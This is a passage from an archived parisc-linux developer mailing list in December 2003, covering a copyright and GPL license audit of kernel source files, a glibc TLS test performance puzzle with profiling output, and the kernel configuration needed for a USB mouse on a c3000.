User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031221041802.GB12969@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Dec 2003 16:18:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20455

is that:
find drivers/parisc arch/parisc include/asm-parisc | xargs grep -l -v "GNU General Public License" | grep -v "\.o"

following list would help in first instance:
drivers/parisc/README.dino
drivers/parisc/Kconfig
drivers/parisc/Makefile
drivers/parisc/ccio-dma.c
drivers/parisc/asp.c
drivers/parisc/eisa_enumerator.c
drivers/parisc/ccio-rm-dma.c
drivers/parisc/dino.c
drivers/parisc/eisa.c
drivers/parisc/eisa_eeprom.c
drivers/parisc/iosapic.c
drivers/parisc/gsc.c
drivers/parisc/gsc.h
drivers/parisc/hppb.c
drivers/parisc/iosapic_private.h
drivers/parisc/lasi.c
drivers/parisc/lba_pci.c
drivers/parisc/led.c
drivers/parisc/power.c
drivers/parisc/sba_iommu.c
drivers/parisc/superio.c
drivers/parisc/wax.c
arch/parisc/configs/712_defconfig
arch/parisc/hpux/entry_hpux.S
arch/parisc/hpux/Makefile
arch/parisc/hpux/gate.S
arch/parisc/hpux/fs.c
arch/parisc/hpux/sys_hpux.c
arch/parisc/hpux/ioctl.c
arch/parisc/hpux/wrappers.S
arch/parisc/kernel/asm-offsets.c
arch/parisc/kernel/Makefile
arch/parisc/kernel/asm-offsets.s
arch/parisc/kernel/binfmt_elf32.c
arch/parisc/kernel/cache.c
arch/parisc/kernel/drivers.c
arch/parisc/kernel/entry.S
arch/parisc/kernel/firmware.c
arch/parisc/kernel/hardware.c
arch/parisc/kernel/head.S
arch/parisc/kernel/head64.S
arch/parisc/kernel/hpmc.S
arch/parisc/kernel/init_task.c
arch/parisc/kernel/inventory.c
arch/parisc/kernel/ioctl32.c
arch/parisc/kernel/irq.c
arch/parisc/kernel/module.c
arch/parisc/kernel/pa7300lc.c
arch/parisc/kernel/pacache.S
arch/parisc/kernel/parisc_ksyms.c
arch/parisc/kernel/pci-dma.c
arch/parisc/kernel/pci.c
arch/parisc/kernel/pdc_chassis.c
arch/parisc/kernel/pdc_cons.c
arch/parisc/kernel/perf.c
arch/parisc/kernel/perf_asm.S
arch/parisc/kernel/perf_images.h
arch/parisc/kernel/process.c
arch/parisc/kernel/processor.c
arch/parisc/kernel/ptrace.c
arch/parisc/kernel/real2.S
arch/parisc/kernel/semaphore.c
arch/parisc/kernel/setup.c
arch/parisc/kernel/signal.c
arch/parisc/kernel/signal32.c
arch/parisc/kernel/signal32.h
arch/parisc/kernel/smp.c
arch/parisc/kernel/sys32.h
arch/parisc/kernel/sys_parisc.c
arch/parisc/kernel/sys_parisc32.c
arch/parisc/kernel/syscall.S
arch/parisc/kernel/syscall_table.S
arch/parisc/kernel/time.c
arch/parisc/kernel/traps.c
arch/parisc/kernel/unaligned.c
arch/parisc/kernel/vmlinux.lds.S
arch/parisc/kernel/vmlinux.lds.s
arch/parisc/lib/checksum.c
arch/parisc/lib/Makefile
arch/parisc/lib/bitops.c
arch/parisc/lib/lusercopy.S
arch/parisc/lib/io.c
arch/parisc/lib/memset.c
arch/parisc/lib/lib.a
arch/parisc/lib/.lib.a.cmd
arch/parisc/math-emu/cnv_float.h
arch/parisc/math-emu/Makefile
arch/parisc/math-emu/README
arch/parisc/math-emu/fpudispatch.c
arch/parisc/math-emu/dbl_float.h
arch/parisc/math-emu/decode_exc.c
arch/parisc/math-emu/denormal.c
arch/parisc/math-emu/dfadd.c
arch/parisc/math-emu/dfcmp.c
arch/parisc/math-emu/dfdiv.c
arch/parisc/math-emu/dfmpy.c
arch/parisc/math-emu/dfrem.c
arch/parisc/math-emu/dfsqrt.c
arch/parisc/math-emu/dfsub.c
arch/parisc/math-emu/driver.c
arch/parisc/math-emu/fcnvff.c
arch/parisc/math-emu/fcnvfu.c
arch/parisc/math-emu/fcnvfut.c
arch/parisc/math-emu/fcnvfx.c
arch/parisc/math-emu/fcnvfxt.c
arch/parisc/math-emu/fcnvuf.c
arch/parisc/math-emu/fcnvxf.c
arch/parisc/math-emu/float.h
arch/parisc/math-emu/fmpyfadd.c
arch/parisc/math-emu/fpbits.h
arch/parisc/math-emu/fpu.h
arch/parisc/math-emu/math-emu.h
arch/parisc/math-emu/frnd.c
arch/parisc/math-emu/hppa.h
arch/parisc/math-emu/sgl_float.h
arch/parisc/math-emu/sfadd.c
arch/parisc/math-emu/sfcmp.c
arch/parisc/math-emu/sfdiv.c
arch/parisc/math-emu/sfmpy.c
arch/parisc/math-emu/sfrem.c
arch/parisc/math-emu/sfsqrt.c
arch/parisc/math-emu/sfsub.c
arch/parisc/mm/extable.c
arch/parisc/mm/Makefile
arch/parisc/mm/ioremap.c
arch/parisc/mm/fault.c
arch/parisc/mm/init.c
arch/parisc/mm/kmap.c
arch/parisc/oprofile/Kconfig
arch/parisc/oprofile/Makefile
arch/parisc/oprofile/init.c
arch/parisc/defconfig
arch/parisc/Kconfig
arch/parisc/Makefile
arch/parisc/defpalo.conf
arch/parisc/nm
include/asm-parisc/compat_rt_sigframe.h
include/asm-parisc/asmregs.h
include/asm-parisc/assembly.h
include/asm-parisc/atomic.h
include/asm-parisc/bitops.h
include/asm-parisc/bootdata.h
include/asm-parisc/bug.h
include/asm-parisc/bugs.h
include/asm-parisc/byteorder.h
include/asm-parisc/cache.h
include/asm-parisc/cacheflush.h
include/asm-parisc/checksum.h
include/asm-parisc/compat.h
include/asm-parisc/compat_ucontext.h
include/asm-parisc/compat_siginfo.h
include/asm-parisc/compat_signal.h
include/asm-parisc/dma-mapping.h
include/asm-parisc/current.h
include/asm-parisc/delay.h
include/asm-parisc/div64.h
include/asm-parisc/eisa_bus.h
include/asm-parisc/dma.h
include/asm-parisc/ioctl.h
include/asm-parisc/io.h
include/asm-parisc/eisa_eeprom.h
include/asm-parisc/elf.h
include/asm-parisc/errno.h
include/asm-parisc/fcntl.h
include/asm-parisc/fixmap.h
include/asm-parisc/floppy.h
include/asm-parisc/grfioctl.h
include/asm-parisc/hardirq.h
include/asm-parisc/hardware.h
include/asm-parisc/hdreg.h
include/asm-parisc/hw_irq.h
include/asm-parisc/ide.h
include/asm-parisc/iosapic.h
include/asm-parisc/ioctls.h
include/asm-parisc/keyboard.h
include/asm-parisc/ipcbuf.h
include/asm-parisc/irq.h
include/asm-parisc/mc146818rtc.h
include/asm-parisc/kmap_types.h
include/asm-parisc/led.h
include/asm-parisc/linkage.h
include/asm-parisc/local.h
include/asm-parisc/machdep.h
include/asm-parisc/mman.h
include/asm-parisc/md.h
include/asm-parisc/mmu_context.h
include/asm-parisc/mmu.h
include/asm-parisc/parisc-device.h
include/asm-parisc/mmzone.h
include/asm-parisc/module.h
include/asm-parisc/msgbuf.h
include/asm-parisc/namei.h
include/asm-parisc/page.h
include/asm-parisc/param.h
include/asm-parisc/parport_gsc.h
include/asm-parisc/parport.h
include/asm-parisc/pdc_chassis.h
include/asm-parisc/pci.h
include/asm-parisc/pdc.h
include/asm-parisc/pgalloc.h
include/asm-parisc/pdcpat.h
include/asm-parisc/percpu.h
include/asm-parisc/perf.h
include/asm-parisc/posix_types.h
include/asm-parisc/pgtable.h
include/asm-parisc/poll.h
include/asm-parisc/rt_sigframe.h
include/asm-parisc/processor.h
include/asm-parisc/psw.h
include/asm-parisc/ptrace.h
include/asm-parisc/real.h
include/asm-parisc/resource.h
include/asm-parisc/rmap.h
include/asm-parisc/scatterlist.h
include/asm-parisc/rtc.h
include/asm-parisc/runway.h
include/asm-parisc/semaphore-helper.h
include/asm-parisc/sections.h
include/asm-parisc/segment.h
include/asm-parisc/thread_info.h
include/asm-parisc/semaphore.h
include/asm-parisc/sembuf.h
include/asm-parisc/serial.h
include/asm-parisc/setup.h
include/asm-parisc/shmbuf.h
include/asm-parisc/shmparam.h
include/asm-parisc/sigcontext.h
include/asm-parisc/siginfo.h
include/asm-parisc/signal.h
include/asm-parisc/smp.h
include/asm-parisc/socket.h
include/asm-parisc/sockios.h
include/asm-parisc/som.h
include/asm-parisc/spinlock.h
include/asm-parisc/stat.h
include/asm-parisc/statfs.h
include/asm-parisc/string.h
include/asm-parisc/superio.h
include/asm-parisc/system.h
include/asm-parisc/termbits.h
include/asm-parisc/termios.h
include/asm-parisc/tlbflush.h
include/asm-parisc/timex.h
include/asm-parisc/tlb.h
include/asm-parisc/topology.h
include/asm-parisc/traps.h
include/asm-parisc/types.h
include/asm-parisc/uaccess.h
include/asm-parisc/ucontext.h
include/asm-parisc/unaligned.h
include/asm-parisc/unistd.h
include/asm-parisc/user.h
include/asm-parisc/xor.h
include/asm-parisc/offsets.h

hth,
J.

Grant Grundler wrote:
> Hi all,
> I noticed linux-2.6:arch/parisc/kernel/firmware.c didn't
> have a license (eg GPL) to stipulate terms of distribution.
> I'll add a GPL to it in my next patch.
> 
> Could someone review drivers/parisc, arch/parisc, and include/asm-parisc
> for both copyright and redistribution license?
> 
> A first step is to post a list of file missing either item.
> If there is a "standard format" for either item, it would be
> good to know what it is and whether or not parisc specific
> files are "close enough" (or not).
> 
> Willy,
> I noticed Documentation/SubmittingDrivers makes no mention of copyright.
> Perhaps the following should be added after "License:"?
> 
> Copyright:      The copyright owner must agree to use of the GPL.
>                 It's best if the submitter and copyright owner are the
> 		same person. If not, the entity whichs authorizes the
> 		use of GPL should list a contact in case it's necessary
> 		to verify the will of the copyright owner.
> 
> thanks,
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] audit for copyright/license
Date: Sun, 21 Dec 2003 18:22:30 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <3FE5E4E6.2090208@tiscali.be>
References: <20031221041802.GB12969@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623073 3644 80.91.229.3 (22 Nov 2014 02:24:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sun Dec 21 11:21:43 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BEE448B9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Dec 2003 11:21:43 -0700 (MST)
Original-Received: from [62.235.121.136] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AY8D0-0002oh-BC; Sun, 21 Dec 2003 19:21:42 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031221041802.GB12969@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Dec 2003 18:21:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20456



Grant Grundler wrote:
> Hi all,
> I noticed linux-2.6:arch/parisc/kernel/firmware.c didn't
> have a license (eg GPL) to stipulate terms of distribution.
> I'll add a GPL to it in my next patch.
> 
> Could someone review drivers/parisc, arch/parisc, and include/asm-parisc
> for both copyright and redistribution license?
> 
> A first step is to post a list of file missing either item.
> If there is a "standard format" for either item, it would be
> good to know what it is and whether or not parisc specific
> files are "close enough" (or not).

in COPYING (i.e. GNU GPL version 2) under section "How to Apply These Terms to Your New Programs"
stand what I would trust being the standard formula you are loocking for:
[snip]
     <one line to give the program's name and a brief idea of what it does.>
     Copyright (C) <year>  <name of author>

     This program is free software; you can redistribute it and/or modify
     it under the terms of the GNU General Public License as published by
     the Free Software Foundation; either version 2 of the License, or
     (at your option) any later version.

     This program is distributed in the hope that it will be useful,
     but WITHOUT ANY WARRANTY; without even the implied warranty of
     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     GNU General Public License for more details.

     You should have received a copy of the GNU General Public License
     along with this program; if not, write to the Free Software
     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

[snip]

(frequently found as eg: arch/parisc/math-emu/driver.c)

hth,
j.



From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel to blame? gprof vs. no-gprof,
	my parisc has gone insane with flushing madness...
Date: Sun, 21 Dec 2003 18:13:00 -0500
Lines: 109
Approved: news@gmane.org
Message-ID: <20031221231300.GV31767@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623073 3651 80.91.229.3 (22 Nov 2014 02:24:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: carlos@baldric.uwo.ca  Sun Dec 21 16:20:23 2003
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50B534852
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Dec 2003 16:20:23 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AYCkv-0000sn-00; Sun, 21 Dec 2003 18:13:01 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (21% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 21 Dec 2003 23:20:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20457


jda,

So the weirdest thing happens to me today...

I'm chasing down the last of the glibc bugs that are of interest to
making userspace a bit better. The last bug is tst-tls13, which in
principle does dlopen/dlclose 1000 times. This seems to take 3 seconds,
the test is only alloting 2 seconds. I wonder, what the hell is taking
so long?

So using Randolphs patch, I decide to enable profiling with -g -pg when
I build the test. The test is linked by hand, and I change up crt1.o for
gcrt1.o as required to build a profiled executable.

---
gcc tst-tls13.c -g -pg -c -std=gnu99 -O2 -Wall -Wbad-function-cast
-Wcast-qual -Wcomment -Wcomments -Wfloat-equal -Winline
-Wmissing-declarations -Wmissing-noreturn -Wmissing-prototypes
-Wmultichar -Wsign-compare -Wstrict-prototypes -Wtrigraphs
-Wwrite-strings -g      -I../include -I.
-I/home/carlos/src/glibc-work/build-hppa/elf -I.. -I../libio
-I/home/carlos/src/glibc-work/build-hppa -I../sysdeps/hppa/elf
-I../linuxthreads/sysdeps/unix/sysv/linux/hppa
-I../linuxthreads/sysdeps/unix/sysv/linux
-I../linuxthreads/sysdeps/pthread -I../sysdeps/pthread
-I../linuxthreads/sysdeps/unix/sysv -I../linuxthreads/sysdeps/unix
-I../linuxthreads/sysdeps/hppa -I../sysdeps/unix/sysv/linux/hppa
-I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sysdeps/unix/common
-I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysdeps/unix/sysv
-I../sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1
-I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32
-I../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128
-I../sysdeps/hppa/fpu -I../sysdeps/hppa -I../sysdeps/ieee754
-I../sysdeps/generic/elf -I../sysdeps/generic -I
/lib/modules/2.4.23-pa2/build/include -D_LIBC_REENTRANT -include
../include/libc-symbols.h   -DNOT_IN_libc=1    -o
/home/carlos/src/glibc-work/build-hppa/elf/tst-tls13.o -MD -MP -MF
/home/carlos/src/glibc-work/build-hppa/elf/tst-tls13.o.dt

BUILD=/home/carlos/src/glibc-work/build-hppa/elf

## PROFILING BUILD ##
gcc -pg -g -nostdlib -nostartfiles -o
/home/carlos/src/glibc-work/build-hppa/elf/tst-tls13
-Wl,-dynamic-linker=$BUILD/ld.so.1
/home/carlos/src/glibc-work/build-hppa/csu/gcrt1.o <------- * GPROF *
/home/carlos/src/glibc-work/build-hppa/csu/crti.o `gcc
--print-file-name=crtbegin.o`
/home/carlos/src/glibc-work/build-hppa/elf/tst-tls13.o
/home/carlos/src/glibc-work/build-hppa/dlfcn/libdl.so.2
-Wl,-rpath=/home/carlos/src/glibc-work/build-hppa:\
/home/carlos/src/glibc-work/build-hppa/math:\
/home/carlos/src/glibc-work/build-hppa/elf:\
/home/carlos/src/glibc-work/build-hppa/dlfcn:\
/home/carlos/src/glibc-work/build-hppa/nss:\
/home/carlos/src/glibc-work/build-hppa/nis:\
/home/carlos/src/glibc-work/build-hppa/rt:\
/home/carlos/src/glibc-work/build-hppa/resolv:\
/home/carlos/src/glibc-work/build-hppa/crypt:\
/home/carlos/src/glibc-work/build-hppa/linuxthreads
/home/carlos/src/glibc-work/build-hppa/libc.so.6
/home/carlos/src/glibc-work/build-hppa/libc_nonshared.a -lgcc `gcc
--print-file-name=crtend.o`
/home/carlos/src/glibc-work/build-hppa/csu/crtn.o
---

## Run the test
GCONV_PATH=/home/carlos/src/glibc-work/build-hppa/iconvdata 
LC_ALL=C time /home/carlos/src/glibc-work/build-hppa/elf/tst-tls13

0.01user 0.02system 0:00.23elapsed 19%CPU (0avgtext+0avgdata 0maxresident)k 
0inputs+0outputs (126major+49minor)pagefaults 0swaps

See the low number of pagefaults, and I'm using gcrt1.o

When I run using crt1.o I see:

0.08user 2.48system 0:02.76elapsed 92%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (4121major+45minor)pagefaults 0swaps

And a ridiculous number of faults. What is going on here? 
Running a kernel with profiling enabled I capture the following.

The kernel shows this for the non-profiled case:
  1118 flush_user_icache_range_asm               31.0556
  1115 flush_user_dcache_range_asm               30.9722
    61 flush_kernel_icache_page                   0.6100
    48 copy_user_page_asm                         0.3158
    16 unmap_page_range                           0.0244

While the profiled case shows:
    10 __wake_up                                  0.1250
     7 flush_kernel_icache_page                   0.0700
     7 fget_light                                 0.0486
     7 $lctu_done                                 0.4375

I see nothing like the *insane* flushing going on in the non-profiling
case. There is definately something in the regular code that is tripping
some sort of flushing that *horribly* degrades our performance. I would
have thought the profiling case to be *the* bad case. Though the loader 
does things a bit differently when profiled, I didn't expect such a
difference.

c.





From - Thu Nov 08 21:30:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] can't open /dev/input/mice on c3000?
Date: Sun, 21 Dec 2003 18:59:25 -0700
Lines: 75
Approved: news@gmane.org
Message-ID: <20031222015925.GC26083@colo.lackof.org>
References: <20031221054605.GA14026@colo.lackof.org>
	<200312211432.54995.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623074 3655 80.91.229.3 (22 Nov 2014 02:24:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: grundler@lackof.org  Sun Dec 21 18:59:26 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DB5C4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Dec 2003 18:59:26 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D207F298048; Sun, 21 Dec 2003 18:59:25 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 26276-07; Sun, 21 Dec 2003 18:59:25 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 832E3298045; Sun, 21 Dec 2003 18:59:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200312211432.54995.deller@gmx.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Dec 2003 01:59:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20458

On Sun, Dec 21, 2003 at 02:32:54PM +0100, Helge Deller wrote:
> Works for me on the c3k without problems (HP (SILITEK) USB Mouse).

cool - thanks for committing -pa3.

> I assume you are missing some .config entries:

I've unpacked the 2.6.0-pa3 I had uploaded to ftp.parisc-linux.org.
	ftp://ftp.parisc-linux.org/kernels/c3000/boot/config-2.6.0-pa3

(full tar ball is at kernels/c3000/2.6.0-pa3.tgz)

Doesn't look I'm missing the option.
I suspect I just need to "modeprobe mousedev" or whatever it's called.

> #
> # Input device support
> #
> CONFIG_INPUT=y
> 
> #
> # Userland interfaces
> #
> CONFIG_INPUT_MOUSEDEV=y
> CONFIG_INPUT_MOUSEDEV_PSAUX=y
> CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
> CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768

CONFIG_INPUT_MOUSEDEV=m
# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1600
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=1200

> # CONFIG_INPUT_JOYDEV is not set
> # CONFIG_INPUT_TSDEV is not set
> CONFIG_INPUT_EVDEV=y
> # CONFIG_INPUT_EVBUG is not set
> 
> #
> # Input I/O drivers
> #
> # CONFIG_GAMEPORT is not set
> CONFIG_SOUND_GAMEPORT=y
> CONFIG_SERIO=y
> CONFIG_SERIO_SERPORT=y

CONFIG_SOUND_GAMEPORT=y
CONFIG_SERIO=m
CONFIG_SERIO_SERPORT=m

> # CONFIG_SERIO_CT82C710 is not set
> # CONFIG_SERIO_PARKBD is not set
> CONFIG_HP_SDC=y
> # CONFIG_HIL_MLC is not set
> # CONFIG_SERIO_PCIPS2 is not set
> 
> #
> # Input Device Drivers
> #
> CONFIG_INPUT_KEYBOARD=y
> # CONFIG_KEYBOARD_ATKBD is not set
> # CONFIG_KEYBOARD_SUNKBD is not set
> # CONFIG_KEYBOARD_XTKBD is not set
> # CONFIG_KEYBOARD_NEWTON is not set
> # CONFIG_KEYBOARD_HIL_OLD is not set
> CONFIG_INPUT_MOUSE=y
> # CONFIG_MOUSE_PS2 is not set

CONFIG_MOUSE_PS2=m

KEYBOARD and MOUSE are also both =y.

thanks,
grant


From - Thu Nov 08 21:30:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] audit for copyright/license
Date: Sun, 21 Dec 2003 19:07:43 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20031222020743.GD26083@colo.lackof.org>
References: <20031221041802.GB12969@colo.lackof.org>
	<3FE5E4E6.2090208@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623074 3661 80.91.229.3 (22 Nov 2014 02:24:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Sun Dec 21 19:07:45 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 123C64852
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Dec 2003 19:07:45 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 8293D298048; Sun, 21 Dec 2003 19:07:44 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 26276-08; Sun, 21 Dec 2003 19:07:43 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B9F83298045; Sun, 21 Dec 2003 19:07:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FE5E4E6.2090208@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 22 Dec 2003 02:07:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20459

On Sun, Dec 21, 2003 at 06:22:30PM +0000, Joel Soete wrote:
> in COPYING (i.e. GNU GPL version 2) under section "How to Apply These Terms 
> to Your New Programs"
> stand what I would trust being the standard formula you are loocking for:

Thanks for digging that up - that's in fact what I was looking for.

We need to determine which files have:
a) no copyright
b) a non standard copyright
c) no license
d) a non standard license

You have time to prepare a patch for (b) and (d)?
